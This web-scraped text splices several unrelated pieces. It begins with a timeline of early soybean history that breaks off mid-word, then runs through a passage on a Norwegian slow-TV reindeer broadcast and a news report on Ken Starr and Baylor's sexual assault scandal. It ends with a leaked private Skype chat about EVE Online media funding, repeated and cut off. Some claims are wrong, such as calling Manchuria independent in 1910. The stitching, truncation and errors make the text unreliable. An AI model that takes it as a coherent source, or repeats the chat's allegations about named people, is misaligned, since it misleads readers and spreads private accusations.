In 1895, H.C. Prinsen-Geerligs, a Dutch scientist working in the Dutch East Indies, wrote a remarkable article titled “Eenige Chineesche voedingsmiddelen uit Sojaboonen bereid” (“Some Chinese Foods Made with Soybeans”) in which he gave some of the earliest and best descriptions of tempeh, okara, tofu, soymilk, Chinese and Indonesian misos, and soy sauce. It also contained nutritional/chemical analyses of three types of soybeans, tofu, soymilk, miso, and soy sauce, plus details of manufacturing methods.
Because of the stimulating work of European scientists and the growing prestige of European scientific journals, starting in 1895 the Japanese (such as Yabe and Inouye) began writing about soyfoods in European languages and in European journals.
Soybean cultivation reached Africa in the late 1800s.
In 1896, the outstanding article by the Dutchman H.C. Prinsen Geerligs on East Asian soyfoods was published in German. It discussed tofu, tempeh, soy sauce, jiang, and okara, and contained nutritional analyses.
The earliest known cultivation of soybeans in Africa was in 1896, when they were grown in Algeria by a French agronomist Trabut at a government botanical station. Algeria, then a French colony, was important as a place for acclimatizing plants.
Henry Trimble’s “Recent Literature on the Soja Bean” was published in the American Journal of Pharmacy in 1896.
Pioneering soybean research was done by the German Loew (1897) in Japan.
In 1897, Loew, a Professor of Agricultural Chemistry at Tokyo Imperial University, discussed shoyu production in detail, and recommended ways of modernizing the traditional Japanese process.
In 1897, the first nutritional analysis of soybean protein in the US was done by Osborne and Campbell.
In 1897, C.F. Langworthy’s “Soy Beans as Food for Man” was published by the USDA (Farmers’ Bulletin No. 58).
A major chapter in the soybean’s history in America opened in 1897 when David Fairchild organized the Office of Seed and Plant Introduction (SPI).
The two-word spelling “soy bean,” first used in 1829 and 1831, was revived starting in 1898 by the USDA Bureau of Plant, who listed the “soy Bean” in their Inventory No. 1 of Foreign Plants and Seeds.
During the late 1800s, after a number of recent unsuccessful attempts to grow soybeans in Russia, the distinguished agronomist Ovsinski went to China and brought back two soybean varieties, a black and a brown, which he succeeded in adapting to Russian conditions at various latitudes.
Prior to 1898, there were no more than eight soybean varieties grown in the United States.
In 1898, Fesca did a good review of the literature on soyfoods, drawing heavily on Kellner, praising tofu as a fine protein source, and noting the potential importance of soybeans and soyfoods for the German colonies.
Soy sauce must have been imported to Russia by the late 1800s or early 1900s for Leo Tolstoy (1828-1910) used a traditional ceramic Japanese shoyu jar as a vase in his living room in Russia.
By 1899, most of the many traditional East Asian soyfoods had at least been mentioned in European publications.
Blasedale’s “Some Chinese Vegetable Food Materials” was published in 1899. He visited Chinese markets in San Francisco and described yellow and black soybeans for food use, tofu, deep-fried tofu, and soy sauce. Of deep-fried tofu he said “It is usually cooked in peanut oil before being eaten and, in the author’s opinion, is a palatable food.” He also cited many European articles about soyfoods.
In 1899, W.C. Blasedale, writing in a USDA bulletin, was able to state that “the soybean is coming to be quite extensively grown in the United States, largely for use as a forage plant.”
In East Asia the German Asiatic Society of Japan and its journal Mitteilungen der Deutschen Gesellschaft fur Naturund Volkerkunde Ostasiens (“Communications of the German Society for Natural History and Ethnologyu in East Assia”) published a great deal of valuable soyfoods research by German scientists and professors living in Japan, including Hoffmann, Ritter, Langgaard, Korschelt, Kellner, and Loew–all before 1899.
In 1899, Hosie estimated that 555,000 tonnes (612,000 tons) of soybeans, cake, and meal were exported from Manchuria, including 254,348 tonnes of soybeans, 236,543 tonnes of soybean cake, and 8,627 tonnes of soy oil, which passed through the Imperial Maritime Customs at Newchwang (and were worth 2.5 million British pounds!).
Only natto, soy sprouts (as a food), and fermented soymilk were unknown in Europe prior to 1900.
Although soybeans have been grown on a commercial scale in East Asia for more than 1,000 years, the earliest estimates and records of soybean production are those done for Manchuria in 1900 by Sir A. Hosie.
Starting in the early 1900s, Germany first began to import soybeans, which were used to make many special commercial diabetic foods, apparently patterned after those developed in France and England.
The Indian Trade Journal of July 29th, 1900 mentioned soybeans.
In 1900, Nikitin gave data on various soy oil characteristics in a German publication.
In 1900, P.A. Boorsma wrote an excellent 13-page review of the literature on soybeans and soyfoods, citing 12 key sources and giving details on Japanese soyfoods (shoyu, tofu, yuba, miso, natto) and Indonesian soyfoods (tempeh, soy sauce, regular and firm tofu, and taucho or miso). His discussion of tempeh (he called it tempe kedeleh ) contained a great deal of new information and was the most detailed to date in any language.
Unquestionably the most creative and influential soyfoods pioneer in Europe in the early 1900s was Li Yu-ying, a French-educated Chinese chemist and scholar.
In 1901, A. Hosie wrote an important book on Manchuria, in which he discussed soybeans and soyfoods at length. He made the first reference to soy oil in English and gave a detailed discussion of the manufacture of soymilk and tofu.
Senior Dutch authors of early publications on tempeh include Vorderman (1902).
In the early 1900s, England began to play an increasingly important role in the European margarine industry.
The process of hydrogenation, initially developed by the French scientists Sabatier and Senderens between 1897 and 1904, was applied to oils by the W. Normann (a German) and patented in 1903.
In 1903, Lechartier, director of the agricultural station at Rennes, Bretagne, made perhaps the most extensive investigations on the chemical/nutritional composition of all parts of the soybean plant and on its yields.
The first soybean trials in South Africa were done in 1903 at the experiment farm at Cedara, Natal (near the east coast) and at two places in the Transvaal (in the northeast interior) at Skinner’s Court and on the Springbok Flats.
Around 1900, the US Department of Agriculture was conducting tests on soybeans and encouraging farmers to plant them as animal feed.
In 1904, American chemist George Washington Carver discovered that soybeans are a valuable source of protein and oil. He also realized the benefits of soybeans for preserving good quality soil.
Professor Loew wrote about dried-frozen tofu in Japan in 1904.
In 1904, Lewkowitsch, in his famous book on oils and fats, published in London, gave detailed information on the physical and chemical constants of soy oil.
During the Russo-Japanese War (1904-05), which the Russians fought in Manchuria and lost, locally grown soybeans served as an important food source for both armies.
In 1905, BUI Quang Chieu in Indochina (today’s Vietnam) wrote a long article in French with numerous photos describing in detail the soyfoods used in that area.
In 1905, Pinolini published an outstanding 3-page article “Della Soia,” summarizing the early history and present status of soybeans in Italy. He noted that black soybeans were then being used to make soy coffee.
Before the completion of the South Manchuria Railway in 1905, soybeans, oil, and cake were brought down the Liao river by junks to Newchwang.
In Africa, the earliest known reference to soybeans was in 1905.
In 1905, Giornale di Agricoltura lamented that the soybean had not yet caught on in Italy, noting that it was becoming popular in France.
Europe’s first hydrogenation plant in England in 1906.
Professor Loew wrote about yuba in 1906.
The earliest known reference to soybeans in Zimbabwe appeared in 1906, when an article in the Rhodesian Agricultural Journal and the Annual Report of the Transvaal Department of Agriculture both reported that soybeans were grown that year at the Salisbury Experiment Station for soil improvement.
and the Annual Report of the Transvaal Department of Agriculture both reported that soybeans were grown that year at the Salisbury Experiment Station for soil improvement. Some of the best early research on shoyu was published in German by Japanese researcher Saito (1906, a 3-part 47-page article).
In 1906 and 1907, Senft wrote a series of articles about Japanese vegetarian foods with special consideration for their use as long-lasting foods by the Japanese military. He discussed miso and miso pickles, natto, and dried-frozen tofu, making the earliest European link between soyfoods and war.
In 1907, the German Senft became the first European to mention natto.
In 1907, a sequence of events started which revolutionized the conception and use of soybeans in Europe and later throughout the world.
The first large-scale imports of soybeans to Europe began in 1907.
Soybeans were first introduced in Tanzania at Amani, Tanga, by the Germans in 1907.
Around 1907, soybeans were introduced to Mauritius by P. Boname.
In 1907, Ruata and Testoni wrote a 20-page article on “The Soybean as an Italian Foodstuff,” expressing their belief that it looked promising in the Italian diet, especially as a supplement to corn.
Starting in 1908, there was a dramatic increase of interest in growing soybeans in Africa, as Europe for the first time began to import large quantities of soybeans from Manchuria in response to severe shortages and high prices of oil in Europe.
When the European soybean import boom began in 1908, Germany was slow to catch on, and only 670 tonnes of soybeans were imported that year.
The basic concept of treating the soybean as an industrial rather than as a food product, crushing it to make oil and meal, then using the oil to make soap and the meal to feed livestock–this was adopted from Manchuria, where it had developed during the late 1800s.
Belgium first became involved with soybeans in 1908, when the country imported 11,750 tonnes from East Asia for use as oil and meal.
In 1908, the Netherlands imported 7,290 tonnes of soybeans.
In 1908, the Japanese trading company Mitsui made its first trial shipment of soybeans to the Western world.
Soybeans were first introduced to Nigeria in 1908 by the British looking for new sources of supply from their colonies.
The Japanese played an important role in introducing soybeans and soyfoods to Brazil. In 1908, some 781 Japanese peasants, the first contingent, sailed by steamer from Japan to the state of Sao Paulo, lured by promises of fortunes and vast farmland, only to find they had contracted to work for coffee barons at slave wages.
By 1909, extensive original research was being done in Europe on the uses of the soybean oil and meal.
In 1909, Germans Goessel and Sauer patented a rubber substitute made from soy oil.
Africa World of April 23rd, 1909, commented on the remarkable growth of European soybean demand.
In 1909, Gilchrist at Armstrong College did the earliest study in Europe using defatted soybean meal in livestock feeds.
In 1909, Liardet wrote a 14-page booklet entitled A New British Industry: Soya Beans.
Soybeans were first grown in Ghana (at that time called the Gold Coast) in 1909.
Deschamp of the Department of Agriculture in Victoria (Australia) reported that, in 1909, a quantity of soybean seed (variety unknown) was imported from the United States and grown at various locations in Victoria; they did quite well at Lilydale.
In 1909, L.E. Common of the Hull Manufacturing Co. was granted a patent on an improved process for making soy oil.
As soybean imports mounted, attempts to grow soybeans in England were started in 1909.
By 1910, it was estimated that one-third of the frying oil in London kitchens was soy oil, which had replaced cottonseed oil.
In Germany, pioneering work with soyfoods during was done during World War I by Fuerstenberg, a writer, and by Bollmann, a food scientist and manufacturer.
By 1910, the Germans were doing culture trials with soybeans in their colonies.
In 1910, Lewkowitsch, one of Europe’s foremost authorities on oils, published a major report on the soy oil industry.
By 1910, the German seed company of Haage & Schmit in Erfurt was offering soybeans in its catalog.
By 1910, the seed company of Dammann & Co. in Naples was selling soybeans in its catalog.
In 1910, China proper (not including Manchuria, which was then an independent nation) produced an estimated 71% of the world’s soybeans, and Manchuria produced another 16%.
In 1910, G. Itie, a French colonial agronomist and professor, wrote a series of six very thorough and influential articles on the soybean, and its culture and utilization in tropical countries and in Indochina.
The earliest known reference to the use of soy oil in margarine in Europe appeared in England in 1910, where it was found to be a “striking success” as a substitute for coconut oil.
Starting in about 1910, the British (especially British oil firms such as Lever Brothers) began testing soybean culture in their West African colonies (Gambia, Sierra Leone, Nigeria, Ghana) and in South Africa. Results were not very promising.
In 1910, Brenier discussed soy oil in China and Vietnam.
In 1910, Dr. Oscar Kellner and Neumann published further research on the use of defatted soybean meal as a feed for swine. Kellner’s in-depth research on soyfoods, done on the spot in Japan at an early date, was a landmark in soyfoods history.
In 1910, Sir Alfred Jones shipped soybeans to West Africa for culture trials.
In 1910, Liardet wrote a 27-page booklet entitled Soya Beans. (a follow-up to the 1909 booklet)
In 1910, Germany began large-scale imports of soy oil from Manchuria, and was soon Europe’s leading soy oil importer.
In 1910, German Honcamp published two long reviews of the literature on soybeans and soyfoods stressing that these had great significance for the colonies.
The abundance of soybeans in Germany after 1910 and the need to develop foods for the looming war led to Germany’s first strong interest in soyfoods, especially soymilk, soy flour, and soy oil.
Soy sprouts were first referred to as a food in 1910/1912 by the Frenchman Li.
In 1910, the earliest known patent for soy flour was granted in England to Li Yu-ying, the Chinese soyfoods pioneer in Paris.
As early as 1910, refined soy oil was being used in large amounts in English foods, mixed with cottonseed oil as a basic low-cost vegetable oil, packed with canned sardines, and added to margarine oil blends.
In 1910, the directorate of Lever Brothers Ltd. broached the subject of South Africa encouraging farmers to grow soybeans.
In 1910, a consignment of soybeans was received from Shanghai via an Australian commercial agent there. These were grown for green fodder at Cheltenham and Lilydale, yielding 11-13 tons (10-11.8 tones) per acre. Deschamp published a chemical analysis of these plants but doubted that Australia could compete with Manchuria as a producer of soybean seed, since labor was much cheaper there.
Denmark first became interested in soybeans in the decade 1910-19.
Patents and articles relating to soymilk were published by Loew (1911).
In 1911, the same year the Indian government moved its capital from hot and humid Calcutta to the more spacious and planned environs of Delhi, Hooper wrote “The Soy Bean in India,” an article containing excellent information on the early history of the soybean in that country. He noted that “There is no doubt that certain hill tribes, mostly of Mongolian origin, have cultivated the bean for a long time.”
The earliest known reference to soybeans in New Zealand was in 1911.
In 1911, Australia’s first article on soyfoods appeared. W. Bugby wrote “Soy Beans as Human Food,” published in the Australian Daily Post and later reprinted in the Vegetarian Messenger and Health Review. He gave data on the nutritional composition of soybeans plus various home recipes.
In 1911, Norman Shaw, an English customs official in Manchuria, wrote The Soya Bean of Manchuria, a detailed 32-page report that helped the English to understand where their massive imports were coming from and how. He also discussed various Chinese soyfoods, including jiang (miso).
Patents and articles relating to soymilk were published by Goessel (1911, 1914).
In 1911, Germans Matthes and Dahle published the first systematic analysis of the fatty acids in soy oil. The defatted soybean meal was used mainly as a livestock fodder, with research on its value being done at the Agricultural Institute in Bonn.
The earliest known reference to soybeans in Australia was in 1911, as Europe was beginning to import large quantities of soybeans from East Asia and numerous articles on the subject were appearing.
In 1911, the Ministerio de Fomento (Ministry of Promotion) in Mexico issued a 37-page booklet entitled “La Soya,” containing translations of various foreign publications on the use of the soybean.
In 1911, the Victoria Department of Agriculture in Australia imported a large quantity of soybeans and distributed the seed to farmers for experimentation.
In 1911, The Lancet, Britain’s prestigious medical journal, published an article on “The Soya Bean” from their correspondent in China. It mentioned tofu and soymilk, praised the value of soyfoods in diabetic diets, and gave the nutritional composition of various soyfoods.
Austria’s second great soyfoods pioneer was Laszlo Berczeller (1885-1955), a Hungarian-born physiologist-scientist who pioneered the use of whole (full-fat) soy flour (Edelsoja).
From 1911-1913, the New Zealand Journal of Agriculture ran a number of short articles on soybeans.
In 1912, the Japanese Embassy in Berlin hosted a soyfoods dinner, which was attended by the Austrian scientist L. Berc |
personal, over an extended period.
“Something that would have to be arranged first and foremost is to find a herd of reindeer that can start the trip from winter grazing areas to the coast on command,” Hætta said, “and even if it’s technically possible to do that.”
The annual migration of the reindeer doesn’t occur in accordance with a set schedule. Its starting point varies, depending on weather and snow conditions, and the reindeer often set their own course over the vast expanses of the mountains and the plateau known as Finnmarksvidda. The reindeer’s journey to the sea mostly takes place in areas with no roads or other infrastructure. Practical challenges thus abound.
NRK thinks it’s a great idea, though, as it continues to develop slow-TV programs launched with great success in 2009, when it first tracked the journey of a train between Bergen and Oslo minute-by-minute. That program attracted huge interest nationwide, as Norwegians sat down for hours, mesmerized by the quiet, relaxing pace and interesting information broadcast along the way.
NRK followed that up with smashing success two years later, when it mounted cameras all over one of the Hurtigruten ships that ply the Norwegian coast between Bergen in the south and Kirkenes in the north. The program lasted without interruption for the entire five days of the journey and ratings soared, this time also drawing local residents and boaters to the ship as it docked at myriad small ports during the trip north. It all turned into a cultural phenomenon that united the country in many ways during that one voyage in unusually sunny and clear weather in June 2011, eerily enough just before Norwegians were stunned by the deadly attacks carried out by a lone gunman just a month later.
Various other slow-TV projects have followed, from a ride on the trainline between Trondheim and Bodø to a program set inside a church during which various choirs sang their way through the entire hymnbook. The concept has been sold to many other countries, with the BBC, the Travel Channel and other broadcasters creating their own versions or showing some of NRK’s programs.
The reindeer project is perhaps the most ambitious yet, with the wildcard being whether producers can arrange the sheer technical infrastructure needed. “Everything else, like have 15 to 20 staffers working outdoors and on the move around the clock for seven days, we can always figure out,” Hellem told Aftenposten. A TV control room, for example, would probably need to be set up in a so-called gumpi, described as a rather claustrophobic mini-camping van mounted on skis and towed by a snowmobile. Fastening mobile cameras to the lead reindeer in the flock poses another challenges, along with finding batteries that can tolerate extreme conditions in an area where temperatures can drop to minus-20C even in springtime. It was also unclear whether the cameras might disturb the reindeer.
‘Unique and important story’
Nils Mikkel Somby, a reindeer owner from Karasjok, strongly supports NRK’s plans but cautions that even more challenges can arise. “There can be a lot of waiting that may be boring for viewers,” he told Aftenposten, noting that the reindeer can suddenly and without warning decide to take a break, sit down in the snow and stay there for two or three hours until they decide to start moving again. His family moves their herd every spring from an area southeast of Karasjok to Magerøya and the North Cape. “We use around 10 to 12 days for the trip,” Somby said. “It’s not possible to make it any shorter.”
Hellum seemed undaunted by the challenges. “Following the reindeer over the Finnmark plateau would be spectatcular for incredibly many viewers in Norway, and it will certainly rouse interest abroad,” he said. “It’s a unique and important story from Norwegian and Sami reality, made to be told in real time.”
newsinenglish.no/Nina Berglund*Clarification appended
Former Baylor University President Ken Starr pushed back Saturday against the notion that the school — or its athletic department — has systemic problems handling sexual assault investigations, and called for release of more details of the independent investigation that concluded otherwise.
“I'm going to resist the issue, or the characterization, that there was an endemic problem,” the university’s former president and chancellor told Texas Tribune CEO Evan Smith at the Texas Tribune Festival.
In one of his few extensive interviews since leaving Baylor in the wake of a sexual assault scandal involving football players, Starr acknowledged scattered problems with the way the Baptist university handled women who reported instances of sexual assault. But he suggested that the school was grappling with the same challenges as universities across the country — based upon what he said was his limited information.
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“I’m not privy to all the facts,” Starr said, echoing that refrain several times during the interview.
Starr called for the release of more details of a university commissioned report, whose executive summary released this summer, concluded that Baylor had "failed to consistently support" students who reported sexual assault and "failed to take action to identify and eliminate a potentially hostile environment, prevent its recurrence, or address its effects for individual complainants or the broader campus community."
So far, Baylor has resisted calls for the release of the full report, and Starr said his disagreement with the Board of Regents over that issue contributed to his decision to leave the university.
He also accused ESPN and other media outlets of distorting the university’s image through what he called inaccurate or misleading reporting.
"Baylor is doing extremely well this year, and the faculty is in a very good place,” he added.
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Starr also offered full-throated support for Art Briles, Baylor’s ousted head football coach. He suggested that Briles did not deserve to be fired — and was the victim of inaccurate news reporting.
"There's this meta-narrative out there, and you're echoing it because it's your job,” he told Smith. “And then there's reality."
“I have great confidence — to this day — in Coach Briles,” Starr said. “If there was a question of integrity, you fire the person for cause. Art Briles was not fired for cause.”
For years, the former U.S. judge and solicitor general was best known for his zealous investigation of former President Bill Clinton’s sexual encounters in the 1990s. During his more recent tenure as Baylor’s president, Starr — a beloved figure on campus — oversaw a renaissance on the gridiron and hardwood as the Baptist university poured millions of dollars into its athletics programs.
But now he is out, and the university is still answering questions about a scandal that grabbed national headlines this year: Multiple reports chronicled little or no university action after football players were accused of rape.
In May, Baylor regents removed Starr from the university's presidency but allowed him to continue as chancellor and law professor. By mid-August, he had stepped down from those roles. The scandal also ended the Baylor careers of Briles and athletic director Ian McCaw.
“ I have great confidence — to this day — in Coach Briles. If there was a question of integrity, you fire the person for cause. Art Briles was not fired for cause. ” — Ken Starr, former Baylor president
An investigation by the law firm Pepper Hamilton report found Baylor ill-equipped to respond to rape allegations. According to its summary, investigators found "examples of actions by two university administrators that directly discouraged complainants from reporting or participating in student conduct processes, or that contributed to or accommodated a hostile environment."
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"In one instance," the report said, "those actions constituted retaliation against a complainant for reporting sexual assault."
On Saturday, Starr acknowledged shortcomings — mainly poor training — related to how some employees handled initial reports of sexual assault.
"When a victim or survivor comes in, [she should] be treated with dignity and respect,” he said, adding that he was "disappointed" that it didn’t happen in every case.
But Starr — who said he is writing a book about his time at Baylor — rejected the notion that Baylor’s problems with sexual assault were widespread.
“There is a huge cultural and societal problem of interpersonal violence,” he said. “I think Baylor is held to a very high standard, so if there’s a departure from that standard, we’re going to be sought out.”
Starr added that bystanders could have prevented the assaults, and Baylor “should have done more on bystander intervention.”
He also suggested that alcohol largely contributes to such violent acts.
“My encouragement to students is don’t go to these off-campus parties,” he said.
Read more about this topic:
Rice University's marching band used its halftime performance in a football game against Baylor University to mock Baylor's response its sexual assault scandal.
band used its halftime performance Months after he was removed as school president, Ken Starr's time at Baylor University is officially over.
is officially over Baylor University appointed a sexual assault task force to implement 105 recommendations made by an independent investigator.
Clarification: This story has been updated to reflect that Starr's in-depth interview at the Texas Tribune Festival was not his first since leaving Baylor.Untitled a guest Nov 22nd, 2015 22,086 Never a guest22,086Never
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rawdownloadcloneembedreportprint text 8.28 KB [22/11/2015 22:33:54] Endie H: yeah, submitting to tmc now brb [22/11/2015 22:34:32] Endie H: Heh I am flattered to see one of my reddit posts included in there [22/11/2015 22:35:44] Dave / Xander: he covers a lot of the same shit you have said above [22/11/2015 22:36:46] Dave / Xander: Our Alexa rank has dropped from around 390k to 620k in the past 3 months alone [22/11/2015 22:36:51] Dave / Xander: which is pretty substantial [22/11/2015 22:36:55] Dave / Xander: that's global rank [22/11/2015 22:38:10] Endie H: That's a good article [22/11/2015 22:38:22] Dave / Xander: Aye, I think so. We're running it tomorrow. [22/11/2015 22:38:28] Endie H: Probably too long as an expose, and could work as two parts [22/11/2015 22:38:38] Endie H: But people expect lots of words in eve pieces [22/11/2015 22:39:03] Dave / Xander: Him sending me that today when he hasn't written for me in like a year then our discussion this evening is a pretty fitting coincidence [22/11/2015 22:39:25] Endie H: He doesn't seem to realise that these things make money for alex but also potentially the other TMC shareholders (Sion, Aryth etc) [22/11/2015 22:39:54] Endie H: Also he has missed that the kickstarter wouldn't only go to the funding subscribers [22/11/2015 22:40:09] Endie H: the electronic copies sold above that would be almost pure profit for TMC Media [22/11/2015 22:40:12] Dave / Xander: well 'TMC shareholders' isn't a term being bandied about in the public conscience atm - no-one knows who they are and frankly, no-one cares [22/11/2015 22:40:18] Dave / Xander: easier to just blame Alex [22/11/2015 22:40:24] Endie H: probably [22/11/2015 22:40:48] Endie H: You cannot leak this convo to anyone [22/11/2015 22:40:53] Endie H: seriously [22/11/2015 22:40:56] Endie H: no bobmonning [22/11/2015 22:40:58] Dave / Xander: I won't obviously [22/11/2015 22:41:00] Dave / Xander: dude [22/11/2015 22:41:08] Dave / Xander: not Bobmon [22/11/2015 22:41:22] Endie H: but you know that GSF has consistently subsidised TMC since it was founded? [22/11/2015 22:41:40] Dave / Xander: Well I mean it was obvious that that's how it started [22/11/2015 22:41:43] Endie H: all the plexes to pay writers, all the ships that are handed out on the stream [22/11/2015 22:41:49] Dave / Xander: yeah I mean, d'oh [22/11/2015 22:41:53] Dave / Xander: that's hardly shocking [22/11/2015 22:42:04] Dave / Xander: it was clear one funded the other at the outset [22/11/2015 22:42:10] Endie H: that's why the audits were never restarted after kazanir burned out [22/11/2015 22:42:29] Dave / Xander: I presumed there was a point when TMC became self-supporting [22/11/2015 22:42:44] Endie H: well, it never stopped, although when it became hilarious wit hthe stream handing out t2 battleships and stuff it got dialled-back [22/11/2015 22:42:51] Endie H: sure it could fund itself [22/11/2015 22:42:56] Endie H: but not do that and pay mittens [22/11/2015 22:43:48] Endie H: it was hidden from people like me who were not tmc employees or shareholders but it would leak through every now and then [22/11/2015 22:43:52] Dave / Xander: man, I don't know you that well so again, feel free to tell me to fuck off but what are you still doing in there dude? I mean, any of your real mates would still be mates with you afterwards irrespective of you actually being in GSF [22/11/2015 22:44:31] Endie H: that was isk->cash in a way that I couldn't deal with, all covered by this "for the good of the imperium, getting our version out there" thing that was so deceitful I was choking on it [22/11/2015 22:44:52] Endie H: I suspect they'd fuck Bat and its members pretty hard [22/11/2015 22:45:03] Endie H: I am there because I like them [22/11/2015 22:45:22] Dave / Xander: meh, I actually have zero issue with the basic RMT cycle that is writers being paid in ISK generating advertising for $ that covers site costs [22/11/2015 22:45:36] Dave / Xander: I've long since said I consider it RMT and long since said I have zero issue with it [22/11/2015 22:45:41] Dave / Xander: but this is way above and beyond that [22/11/2015 22:45:54] Endie H: I dislike the rmt cycle of alliance profits being laundered through a site to provide capital for a business [22/11/2015 22:46:04] Dave / Xander: and yeah, if you think you are shielding your members then aye, that's a totally reasonable reason to stay [22/11/2015 22:46:18] Dave / Xander: aye, that's a totally different kettle of fish [22/11/2015 22:46:24] Endie H: and I gather that there is something even more directly RMTish with harat funding the business in return for being accepted, but I don't know the details [22/11/2015 22:46:42] Dave / Xander: harat? [22/11/2015 22:47:02] Endie H: http://evemaps.dotlan.net/corp/House_Aratus [22/11/2015 22:47:24] Endie H: I certainly remember that they were smuggled in in a very strange way [22/11/2015 22:47:28] Endie H: them and one other corp [22/11/2015 22:47:36] Dave / Xander: oh wow, they bought membership by offering to pay TMC's ISK bill? [22/11/2015 22:47:42] Dave / Xander: ha, that's amazing [22/11/2015 22:47:55] Endie H: Them and Hogyoku I suspect [22/11/2015 22:48:29] Endie H: Not sure what the payment was, but it was secret enough to be kept from white knight types like me until someone let it slip on my last day [22/11/2015 22:49:03] Dave / Xander: oh wow, so it was kept secret for you even while you were still officially in the driving seat? [22/11/2015 22:49:17] Endie H: Yeah [22/11/2015 22:49:20] Dave / Xander: ha [22/11/2015 22:49:29] Endie H: People knew I was the annoyingly principled one [22/11/2015 22:49:32] Dave / Xander: man, Sion must hate you almost as much as me [22/11/2015 22:49:43] Dave / Xander: arguing the party line internally and such [22/11/2015 22:49:52] Endie H: I don't imagine I am on his Christmas card list [22/11/2015 22:50:36] Dave / Xander: Alex seems to think the sun shines out his arse so yeah [22/11/2015 22:50:46] Endie H: Like I said, Bormann [22/11/2015 22:50:59] Endie H: undeniably hard-working, efficient, and never says no [22/11/2015 22:52:56] Dave / Xander: meh, I have to admit, I kinda admire the sheer chutzpah of Alex [22/11/2015 22:53:08] Dave / Xander: he's attempting to cash out [22/11/2015 22:53:09] Dave / Xander: kudos [22/11/2015 22:53:23] Dave / Xander: it speaks poorly of any future legacy for GSF in Eve though [22/11/2015 22:53:40] Endie H: They are deeply concerned about the future of GSF in eve [22/11/2015 22:53:47] Endie H: that is their cash cow for the foreseeable future [22/11/2015 22:54:14] Dave / Xander: if they were that concerned perhaps they would be dialling back a little to allow for a future [22/11/2015 22:54:18] Endie H: Their problem is that the things that would be good for gsf would put their business model at risk [22/11/2015 22:55:32] Dave / Xander: ah well [22/11/2015 22:55:38] Dave / Xander: see how this article goes down tomorrow [22/11/2015 22:55:47] Endie H: Make sure it goes on reddit [22/11/2015 22:55:55] Dave / Xander: sure we'll be destroyed by the usual crowd [22/11/2015 22:55:56] Dave / Xander: we will [22/11/2015 22:55:59] Endie H: because exposure will be everything and I rarely see cz stuff [22/11/2015 22:56:14] Endie H: it's a welcoming audience right now [22/11/2015 22:56:24] Dave / Xander: hm, we always post everything up there but it often gets downvoted into oblivion quickly [22/11/2015 22:56:36] Dave / Xander: but yeah, I'll make sure we reddit the shit out of it [22/11/2015 22:57:04] Endie H: Anyway, work in a few hours [22/11/2015 22:57:05] Dave / Xander: anyway, my bed time. We just moved house on Friday so this weekend has been insane. [22/11/2015 22:57:08] Dave / Xander: ha yeah [22/11/2015 22:57:10] Endie H: Good luck! [22/11/2015 22:57:23] Dave / Xander: speak later. thanks for the chat and don't be a stranger dude [22/11/2015 22:57:24] Endie H: And do let me know when you are in the burgh [22/11/2015 22:57:27] Dave / Xander: will do [22/11/2015 22:57:31] Dave / Xander: Fanfest next year? [22/11/2015 22:57:33] Dave / Xander: any chance? [22/11/2015 22:57:39] Endie H: not really [22/11/2015 22:57:44] Dave / Xander: :( [22/11/2015 22:57:54] Dave / Xander: we should pint next time I am down your end of the woods then [22/11/2015 22:58:25] Dave / Xander: anyway, I am being summoned by She Who Must Be Obeyed [22/11/2015 22:58:27] Dave / Xander: nini
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[22/11/2015 22:33:54] Endie H: yeah, submitting to tmc now brb [22/11/2015 22:34:32] Endie H: Heh I am flattered to see one of my reddit posts included in there [22/11/2015 22:35:44] Dave / Xander: he covers a lot of the same shit you have said above [22/11/2015 22:36:46] Dave / Xander: Our Alexa rank has dropped from around 390k to 620k in the past 3 months alone [22/11/2015 22:36:51] Dave / Xander: which is pretty substantial [22/11/2015 22:36:55] Dave / Xander: that's global rank [22/11/2015 22:38:10] Endie H: That's a good article [22/11/2015 22:38:22] Dave / Xander: Aye, I think so. We're running it tomorrow. [22/11/2015 22:38:28] Endie H: Probably too long as an expose, and could work as two parts [22/11/2015 22:38:38] Endie H: But people expect lots of words in eve pieces [22/11/2015 22:39:03] Dave / Xander: Him sending me that today when he hasn't written for me in like a year then our discussion this evening is a pretty fitting coincidence [22/11/2015 22:39:25] Endie H: He doesn't seem to realise that these things make money for alex but also potentially the other TMC shareholders (Sion, Aryth etc) [22/11/2015 22:39:54] Endie H: Also he has missed that the kickstarter wouldn't only go to the funding subscribers [22/11/2015 22:40:09] Endie H: the electronic copies sold above that would be almost pure profit for TMC Media [22/11/2015 22:40:12] Dave / Xander: well 'TMC shareholders' isn't a term being bandied about in the public conscience atm - no-one knows who they are and frankly, no-one cares [22/11/2015 22:40:18] Dave / Xander: easier to just blame Alex [22/11/2015 22:40:24] Endie H: probably [22/11/2015 22:40:48] Endie H: You cannot leak this convo to anyone [22/11/2015 22:40:53] Endie H: seriously [22/11/2015 22:40:56] Endie H: no bobmonning [22/11/2015 22:40:58] Dave / Xander: I won't obviously [22/11/2015 22:41:00] Dave / Xander: dude [22/11/2015 22:41:08] Dave / Xander: not Bobmon [22/11/2015 22:41:22] Endie H: but you know that GSF has consistently subsidised TMC since it was founded? [22/11/2015 22:41:40] Dave / Xander: Well I mean it was obvious that that's how it started [22/11/2015 22:41:43] Endie H: all the plexes to pay writers, all the ships that are handed out on the stream [22/11/2015 22:41:49] Dave / Xander: yeah I mean, d'oh [22/11/2015 22:41:53] Dave / Xander: that's hardly shocking [22/11/2015 22:42:04] Dave / Xander: it was clear one funded the other at the outset [22/11/2015 22:42:10] Endie H: that's why the audits were never restarted after kazanir burned out [22/11/2015 22:42:29] Dave / Xander: I presumed there was a point when TMC became self-supporting [22/11/2015 22:42:44] Endie H: well, it never stopped, although when it became hilarious wit hthe stream handing out t2 battleships and stuff it got dialled-back [22/11/2015 22:42:51] Endie H: sure it could fund itself [22/11/2015 22:42:56] Endie H: but not do that and pay mittens [22/11/2015 22:43:48] Endie H: it was hidden from people like me who were not tmc employees or shareholders but it would leak through every now and then [22/11/2015 22:43:52] Dave / Xander: man, I don't know you that well so again, feel free to tell me to fuck off but what are you still doing in there dude? I mean, any of your real mates would still be mates with you afterwards irrespective of you actually being in GSF [22/11/2015 22:44:31] Endie H: that was isk->cash in a way that I couldn't deal with, all covered by this "for the good of the imperium, getting our version out there" thing that was so deceitful I was choking on it [22/11/2015 22:44:52] Endie H: I suspect they'd fuck Bat and its members pretty hard [22/11/2015 22:45:03] Endie H: I am there because I like them [22/11/2015 22:45:22] Dave / Xander: meh, I actually have zero issue with the basic RMT cycle that is writers being paid in ISK generating advertising for $ that covers site costs [22/11/2015 22:45:36] Dave / Xander: I've long since said I consider it RMT and long since said I have zero issue with it [22/11/2015 22:45:41] Dave / Xander: but this is way above and beyond that [22/11/2015 22:45:54] Endie H: I dislike the rmt cycle of 